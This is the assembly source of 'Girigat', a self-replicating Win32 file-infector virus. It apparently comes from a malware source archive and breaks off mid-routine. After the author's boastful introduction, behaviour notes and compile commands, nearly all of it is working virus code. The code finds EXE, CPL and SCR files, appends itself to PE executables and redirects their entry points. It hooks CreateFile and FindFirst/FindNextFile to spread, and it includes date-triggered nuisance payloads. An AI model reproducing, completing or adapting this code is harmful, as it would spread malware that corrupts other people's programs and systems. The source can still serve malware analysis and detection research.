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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.girigat.asm

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;
; <20><> <20><><EFBFBD> <20><> <20><> <20><><EFBFBD><EFBFBD>
; <20><> <20> <20> <20> <20><> <20> <20><> <20> <20> <20> <20><> <20>
; <20> <20><> <20> <20><><EFBFBD><EFBFBD> <20> <20> <20><> <20><><EFBFBD><EFBFBD> <20>
; <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20>
; <20><><EFBFBD> <20><> <20> <20><> <20><><EFBFBD> <20> <20>
; <20> <20>
; by Mister Sandman <20>
;
; <20>Ĵ Introduction <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;
; This new creation of mine has turned to be my first "pure" Win32 virus,
; as well as one of which i'm really proud of. After an absence of months
; in which i haven't coded absolutely anything because of certain reasons
; i won't explain here, i see Girigat as a new start in my VX career.
;
; My style has changed, and i am not referring to the fact that of course
; Win32 viruses have nothing to do with DOS viruses. I am sure these dif-
; ferences i'm writing about are relevant enough so that i do not have to
; explain them all here... it is all about the point of view computer vi-
; ruses are interpreted by every virus writer. In my own case my point of
; view changed in the last months, and here is the result... which i hope
; to be the first of a long series of viruses i pretend to write. With no
; schedules, with no goals, with no pressure. Just my way, trying to show
; by means of my code who the real Mister Sandman is.
;
; <20>Ĵ Behavior <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;
; Girigat is a 4937 bytes long Win32 virus. It changes its behavior auto-
; matically whenever it jumps to a new computer, so describing the way it
; works would not be a too reliable source of information. Hence, it is a
; good idea to explain what it may become, rather than what it is at this
; moment, in the current compiled version. Girigat may turn either into a
; per-process resident virus, or into a runtime one, or even into a mixed
; version which would infect by means of both runtime and resident infec-
; tion routines. Also, it may infect CPL, EXE or SCR files, including all
; the possible combinations, among these three file formats. Last but not
; least, its runtime routines may infect either in the current directory,
; or in the Windows folder, or in both at once.
;
; Hooked API functions are CreateFile, FindFirstFile and FindNextFile, in
; both their ANSI and Unicode versions. Whenever an infected file is exe-
; cuted three months after the day in which it got infected there will be
; a 50% probability, of getting one of the four virus payloads triggered.
; The first of them drops a BMP file with the virus logo and then sets it
; as the new system wallpaper, on a black background, after the next sys-
; tem reboot. The second possible payload gets the Windows cursor jumping
; all over the screen, moving to a random position every half second more
; or less. The third payload displays by means of a shell message box the
; system information, including the copyright strings of Girigat, as well
; as including an alert icon instead of the original Windows logo. Final-
; ly, the fourth virus payload consists on producing a Poltergesitish ef-
; fect, which will keep on opening and closing the CD tray all the time.
;
; <20>Ĵ What does "Girigat" mean? <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;
; The virus name, is the result of the latin transliteration of the hindi
; word used to refer to a chameleon. I decided to call it this way becau-
; se of the routine it uses to change its own behavior, and because of my
; admiration to India, which is with no doubt one of the most interesting
; countries all over the world. The BMP logo Girigat drops, in one of its
; four payloads, is an image of the way the virus name looks like written
; in the devanagari alphabet (the official one for the hindi language).
;
; Besides of the above reasons, i should add that, chameleons have a very
; special meaning in my life. Albeit nowadays i have only one chameleon i
; have had four specimens at the same time in the past years. Also, in my
; right arm there's a big chameleon tattooed in the tribal style together
; with more tribal designs, which is more or less significative, in which
; concerns to the relevance of these reptiles to me.
;
; <20>Ĵ Greetings <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;
; I would like to dedicate this virus to my girlfriend Miss Sandwoman, as
; it is the less i could do for her in order to compensate everything she
; has done for me, especially in which concerns to this virus since she's
; always been encouraging and pulling me to finish it. I'd like to greet,
; as well, my friend Shaitan, since he's from India. Hope he'll like this
; virus, with which he will surely get identified.
;
; <20>Ĵ Compiling instructions <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;
; tasm32 -ml -m5 -q -zn Girigat.asm
; tlink32 -Tpe -aa -c -x Girigat.obj,Girigat.exe,,Import32.lib
; pewrsec Girigat.exe
.386p
.model flat
; <20>Ĵ Imported API functions <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
extrn GetModuleHandleA:NEAR
extrn MessageBoxA:NEAR
extrn ExitProcess:NEAR
; <20>͹ Virus setup routines <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
.code
global_start label byte
file_entry: call delta_offset
delta_offset: pop ebp
mov ebx,ebp
sub ebp,offset delta_offset
db 81h,0ebh
base_address dd global_start-base_default+5
db 0b8h
rva_entry dd host_code-base_default
add eax,ebx
push eax
mov ecx,11h
lea eax,dword ptr [ebp+sz_gmhandlea]
call get_it_api
cmp eax,0ffffffffh
je try_unicode
lea edx,dword ptr [ebp+sz_kernel32]
mov dword ptr [ebp+ad_gmhandlea],eax
jmp getk32handle
try_unicode: mov ecx,11h
lea eax,dword ptr [ebp+sz_gmhandlew]
call get_it_api
cmp eax,0ffffffffh
je back_to_host
lea edx,dword ptr [ebp+sz_kernel32]
getk32handle: push edx
call eax
mov ecx,0eh
mov dword ptr [ebp+ad_kernel32],eax
lea eax,dword ptr [ebp+sz_gpaddress]
call get_et_api
cmp eax,0ffffffffh
je back_to_host
cld
mov dword ptr [ebp+ad_gpaddress],eax
mov ecx,(offset @sz_apis_end-offset @sz_apis_start)/4
lea esi,dword ptr [ebp+@sz_apis_start]
lea edi,dword ptr [ebp+ad_apis_start]
setup_apis: lodsd
add eax,ebp
push ecx esi edi eax
push dword ptr [ebp+ad_kernel32]
call dword ptr [ebp+ad_gpaddress]
pop edi esi ecx
or eax,eax
jz back_to_host
cld
stosd
loop setup_apis
; <20>Ĵ Computer name check <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
lea eax,dword ptr [ebp+buffer_size]
lea esi,dword ptr [ebp+dir_buffer]
lea edi,dword ptr [ebp+sz_comp_name]
push esi edi eax esi
call dword ptr [ebp+ad_gcompname]
check_machine: lodsb
or al,al
jz check_payload
scasb
je check_machine
pop edi esi
push esi edi
add esi,9
mov byte ptr [esi],0
call dword ptr [ebp+ad_lstrcpy]
call chromatos
jmp compare_date
; <20>Ĵ Activation day check <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
check_payload: pop edi esi
compare_date: mov dword ptr [ebp+buffer_size],102h
lea eax,dword ptr [ebp+current_time]
push eax
call dword ptr [ebp+ad_getsystime]
mov ax,word ptr [ebp+birth_day]
cmp ax,word ptr [ebp+current_day]
jne viral_work
mov ax,3
add ax,word ptr [ebp+birth_month]
cmp ax,0ch
jbe my_birthday?
sub ax,0ch
my_birthday?: cmp ax,word ptr [ebp+current_month]
jne viral_work
; <20>Ĵ Payload API setup <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
lea eax,dword ptr [ebp+sz_user32]
push eax
call dword ptr [ebp+ad_loadlibrary]
or eax,eax
jz viral_work
mov esi,eax
lea edx,dword ptr [ebp+sz_setcurpos]
push edx eax
call dword ptr [ebp+ad_gpaddress]
or eax,eax
jz viral_work
mov dword ptr [ebp+ad_setcurpos],eax
lea edx,dword ptr [ebp+sz_loadicon]
push edx esi
call dword ptr [ebp+ad_gpaddress]
or eax,eax
jz viral_work
mov dword ptr [ebp+ad_loadicon],eax
lea eax,dword ptr [ebp+sz_winmm]
push eax
call dword ptr [ebp+ad_loadlibrary]
or eax,eax
jz viral_work
lea edx,dword ptr [ebp+sz_mcisendstr]
push edx eax
call dword ptr [ebp+ad_gpaddress]
or eax,eax
jz viral_work
mov dword ptr [ebp+ad_mcisendstr],eax
lea eax,dword ptr [ebp+sz_shell32]
push eax
call dword ptr [ebp+ad_loadlibrary]
or eax,eax
jz viral_work
lea edx,dword ptr [ebp+sz_shellabout]
push edx eax
call dword ptr [ebp+ad_gpaddress]
or eax,eax
jz viral_work
mov dword ptr [ebp+ad_shellabout],eax
lea eax,dword ptr [ebp+sz_advapi32]
push eax
call dword ptr [ebp+ad_loadlibrary]
or eax,eax
jz viral_work
mov esi,eax
lea edx,dword ptr [ebp+sz_regopenkey]
push edx eax
call dword ptr [ebp+ad_gpaddress]
or eax,eax
jz viral_work
mov dword ptr [ebp+ad_regopenkey],eax
lea edx,dword ptr [ebp+sz_regsetvalue]
push edx esi
call dword ptr [ebp+ad_gpaddress]
or eax,eax
jz viral_work
mov dword ptr [ebp+ad_regsetvalue],eax
; <20>Ĵ Payload election <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
mov eax,1
call pseudorandom
or eax,eax
jnz viral_work
mov eax,((offset @payloads_end-offset @payloads_start)/4)-1
lea esi,dword ptr [ebp+@payloads_start]
call pseudorandom
mov ecx,4
mul ecx
add esi,eax
lodsd
add eax,ebp
call eax
; <20>Ĵ Start of real virus activity <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
viral_work: cmp byte ptr [ebp+flag_hooking],OFF
je only_runtime
call apihook_cepa
cmp byte ptr [ebp+flag_runtime],OFF
je back_to_host
only_runtime: call runtime_cepa
back_to_host: ret
; <20>͹ Direct action routines <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
runtime_cepa: cmp byte ptr [ebp+flag_curdir],OFF
je go_for_windir
lea eax,dword ptr [ebp+dir_buffer]
push eax 104h
call dword ptr [ebp+ad_getcurdir]
or eax,eax
jz go_for_windir
call look_for_food
go_for_windir: cmp byte ptr [ebp+flag_windir],OFF
je runtime_done
lea eax,dword ptr [ebp+dir_buffer]
push 104h eax
call dword ptr [ebp+ad_getwindir]
or eax,eax
jz runtime_done
call look_for_food
; <20>Ĵ Appropriate victim search routine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
look_for_food: cmp eax,4
jb runtime_done
mov edx,eax
lea esi,dword ptr [ebp+sz_wildcard]
call add_wildcard
lea eax,dword ptr [ebp+win32_finddata]
lea edx,dword ptr [ebp+dir_buffer]
push eax edx
call dword ptr [ebp+ad_findfirst]
cmp eax,0ffffffffh
je runtime_done
mov dword ptr [ebp+handle_search],eax
check_victim: cmp dword ptr [ebp+win32_finddata+1ch],0
jne find_next
mov eax,dword ptr [ebp+win32_finddata+20h]
cmp eax,0ffffffffh-(size_in_file+1000h)
jae find_next
cld
lea esi,dword ptr [ebp+dir_buffer]
mov edx,esi
skip_slashes: lodsb
cmp al,'\'
jne check_asciiz
mov edx,esi
check_asciiz: or al,al
jne skip_slashes
lea esi,dword ptr [ebp+win32_finddata+2ch]
mov edi,edx
process_name: lodsb
cmp al,'a'
jb copy_filename
sub al,('a'-'A')
copy_filename: stosb
or al,al
jnz process_name
mov eax,dword ptr [edi-5]
lea edx,dword ptr [ebp+dir_buffer]
call manage_file
find_next: lea eax,dword ptr [ebp+win32_finddata]
push eax dword ptr [ebp+handle_search]
call dword ptr [ebp+ad_findnext]
or eax,eax
jnz check_victim
push dword ptr [ebp+handle_search]
call dword ptr [ebp+ad_findclose]
runtime_done: ret
; <20>Ĵ Infection setup routine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
setup_file: cld
cmp word ptr [ebx],'ZM'
jne bad_setup
cmp word ptr [ebx+12h],');'
je bad_setup
mov esi,ebx
add esi,dword ptr [ebx+3ch]
mov word ptr [ebx+12h],');'
lodsd
cmp eax,'EP'
jne bad_setup
mov ax,word ptr [esi+12h]
test ax,2
jz bad_setup
test ax,2000h
jnz bad_setup
push word ptr [ebp+current_day]
pop word ptr [ebp+birth_day]
push word ptr [ebp+current_month]
pop word ptr [ebp+birth_month]
ret
bad_setup: mov eax,0ffffffffh
ret
; <20>Ĵ PE files infection routine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
infect_file: mov esi,ebx
mov dword ptr [ebp+victim_base],ebx
add esi,dword ptr [ebx+3ch]
mov ebx,esi
mov eax,dword ptr [ebx+74h]
movzx ecx,word ptr [ebx+6]
shl eax,3
add eax,78h
add eax,ebx
set_write_atb: or dword ptr [eax+24h],80000000h
add eax,28h
loop set_write_atb
sub eax,28h
mov edx,eax
mov eax,dword ptr [edx+0ch]
add eax,dword ptr [edx+10h]
mov dword ptr [ebp+base_address],eax
add dword ptr [ebp+base_address],5
mov ecx,dword ptr [ebx+28h]
mov dword ptr [ebx+28h],eax
mov dword ptr [ebp+rva_entry],ecx
cld
mov ecx,size_in_file
lea esi,dword ptr [ebp+global_start]
mov edi,dword ptr [edx+14h]
add edi,dword ptr [ebp+victim_base]
add edi,dword ptr [edx+10h]
push ecx
rep movsb
pop ecx
add ecx,dword ptr [edx+10h]
mov dword ptr [edx+10h],ecx
push ecx
mov esi,edx
xor edx,edx
mov eax,ecx
mov ecx,dword ptr [ebx+3ch]
mov edi,ecx
div ecx
sub edi,edx
pop ecx
add ecx,edi
mov dword ptr [esi+8],ecx
or dword ptr [esi+24h],20h
or dword ptr [esi+24h],20000000h
mov eax,dword ptr [esi+0ch]
add eax,dword ptr [esi+8]
mov dword ptr [ebx+50h],eax
mov ebx,dword ptr [ebp+victim_base]
ret
; <20>͹ API hooking routines <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
apihook_cepa: lea eax,dword ptr [ebp+sz_hook_start]
lea edi,dword ptr [ebp+dd_hook_start]
h00k_l00p: mov ecx,dword ptr [edi]
or ecx,ecx
jz no_more_hooks
add edi,4
push eax edi
call get_it_api
xchg eax,esi
pop edi eax
add eax,ecx
cmp esi,0ffffffffh
je try_next_api
mov dword ptr [edi],esi
mov esi,dword ptr [edi+4]
add esi,ebp
mov dword ptr [edx],esi
try_next_api: add edi,8
jmp h00k_l00p
no_more_hooks: ret
; <20>Ĵ CreateFile(A/W) handler <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
@@createfile: pushad
call get_relative
mov byte ptr [ebp+unicode_api],ON
jmp crf_entry
@createfile: pushad
call get_relative
crf_entry: cld
mov edx,dword ptr [esp+24h]
mov esi,edx
cmp byte ptr [ebp+unicode_api],ON
jne victim_check
cmp byte ptr [esi+1],0
jne victim_check
lea edi,dword ptr [ebp+dir_buffer]
push 0 0 104h edi 0ffffffffh esi 0 0
call dword ptr [ebp+ad_wide2multi]
lea edx,dword ptr [ebp+dir_buffer]
mov esi,edx
victim_check: lodsb
or al,al
jz pop_and_leave
cmp al,'.'
jne victim_check
push edx
lea eax,dword ptr [ebp+win32_finddata]
push eax edx
call dword ptr [ebp+ad_findfirst]
push eax
call dword ptr [ebp+ad_findclose]
pop edx
mov eax,dword ptr [esi-1]
call manage_file
pop_and_leave: popad
push ebp
call get_relative
mov ecx,ebp
pop ebp
cmp byte ptr [ecx+unicode_api],ON
jne jmp_2_crf_a
mov byte ptr [ecx+unicode_api],OFF
jmp dword ptr [ecx+ad_@crtfile_w]
jmp_2_crf_a: jmp dword ptr [ecx+ad_@crtfile_a]
; <20>Ĵ FindFirstFile(A/W) handler <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
@@findfirst: pushad
call get_relative
mov byte ptr [ebp+unicode_api],ON
jmp ffst_entry
@findfirst: pushad
call get_relative
ffst_entry: cld
mov edx,dword ptr [esp+24h]
mov esi,edx
cmp byte ptr [ebp+unicode_api],ON
jne set_the_scan
cmp byte ptr [esi+1],0
jne set_the_scan
lea edi,dword ptr [ebp+dir_buffer]
push 0 0 104h edi 0ffffffffh esi 0 0
call dword ptr [ebp+ad_wide2multi]
lea edx,dword ptr [ebp+dir_buffer]
mov esi,edx
set_the_scan: xor ecx,ecx
scan_wildcard: lodsb
cmp al,'\'
jne check_zero
mov ecx,esi
jmp scan_wildcard
check_zero: or al,al
jne scan_wildcard
mov esi,edx
lea edi,dword ptr [ebp+ff_file_path]
or ecx,ecx
jnz dont_patch
mov ecx,esi
dont_patch: sub ecx,esi
rep movsb
mov byte ptr [edi-1],0
mov esi,edx
check_fname: lodsb
or al,al
jz dont_do_shit
cmp al,'.'
jne check_fname
push edx
lea eax,dword ptr [ebp+win32_finddata]
push eax edx
call dword ptr [ebp+ad_findfirst]
push eax
call dword ptr [ebp+ad_findclose]
pop edx
mov eax,dword ptr [esi-1]
call manage_file
dont_do_shit: popad
push ebp
call get_relative
mov ecx,ebp
pop ebp
cmp byte ptr [ecx+unicode_api],ON
jne jmp_2_ffst_a
mov byte ptr [ecx+unicode_api],OFF
jmp dword ptr [ecx+ad_@findfst_w]
jmp_2_ffst_a: jmp dword ptr [ecx+ad_@findfst_a]
; <20>Ĵ FindNextFile(A/W) handler <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
@@findnext: pushad
call get_relative
mov byte ptr [ebp+unicode_api],ON
jmp fnxt_entry
@findnext: pushad
call get_relative
fnxt_entry: cld
mov edx,dword ptr [esp+28h]
add edx,2ch
mov esi,edx
cmp byte ptr [ebp+unicode_api],ON
jne go_bite_it
cmp byte ptr [esi+1],0
jne go_bite_it
lea edi,dword ptr [ebp+temp_buffer]
push 0 0 104h edi 0ffffffffh esi 0 0
call dword ptr [ebp+ad_wide2multi]
lea edx,dword ptr [ebp+temp_buffer]
mov esi,edx
go_bite_it: push esi
xor ecx,ecx
lea esi,dword ptr [ebp+ff_file_path]
lea edi,dword ptr [ebp+dir_buffer]
move_string: lodsb
or al,al
jz cest_fini
inc ecx
stosb
jmp move_string
cest_fini: pop esi
mov edx,ecx
call add_wildcard
lea edx,dword ptr [ebp+dir_buffer]
mov esi,edx
name_lewp: lodsb
or al,al
jz back_to_api
cmp al,'.'
jne name_lewp
push edx
lea eax,dword ptr [ebp+win32_finddata]
push eax edx
call dword ptr [ebp+ad_findfirst]
push eax
call dword ptr [ebp+ad_findclose]
pop edx
mov eax,dword ptr [esi-1]
call manage_file
back_to_api: popad
push ebp
call get_relative
mov ecx,ebp
pop ebp
cmp byte ptr [ecx+unicode_api],ON
